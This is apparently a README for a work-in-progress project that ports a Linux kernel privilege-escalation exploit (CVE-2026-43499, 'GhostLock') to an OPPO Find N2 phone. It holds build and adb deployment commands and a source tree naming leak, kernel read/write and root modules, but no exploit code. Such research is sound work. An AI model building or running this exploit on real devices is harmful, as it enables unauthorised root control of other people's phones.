
OPPO Find N2 GhostLock (CVE-2026-43499) адаптация эксплойта
GhostLock CVE-2026-43499 — исследование повышения привилегий в ядре Linux на OPPO Find N2
GhostLock (CVE-2026-43499) — это уязвимость UAF в стеке ядра, затрагивающая Linux от 2.6.39 до 7.1-rc1, вызываемая через состояние гонки в FUTEX_CMP_REQUEUE_PI. В этом проекте exploit для x86_64 от NebuSec/CyberMeowfia адаптирован под OPPO Find N2 (ARM64, ядро 5.10.236).
В процессе итераций — несколько этапов эксплуатации уже проверены, но ключевой блокер (обход CFI / примитив записи в ядро) пока не преодолён.
FUTEX_CMP_REQUEUE_PI ret=0git clone https://github.com/pubglite55/oppofindN2-ghostlock.git
cd oppofindN2-ghostlock
export NDK=/usr/local/Caskroom/android-ndk/29/AndroidNDK14206865.app/Contents/NDK
cd exploit/
make clean && make NDK=$NDK
adb push preload.so /data/local/tmp/
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/ls /dev/null' 2>&1
oppofindN2-ghostlock/
├── exploit/
│ ├── src/
│ │ ├── main.c # 主入口,GhostLock 触发
│ │ ├── fops.c # pselect fake lock + kernel base leak
│ │ ├── pipe.c # pipe 物理读写
│ │ ├── root.c # root 提权
│ │ ├── util.c # 工具函数
│ │ └── kernelsnitch/ # mm_struct 泄漏
│ ├── targets/ # 设备偏移定义
│ └── Makefile
└── README.md
Проект распространяется под лицензией MIT.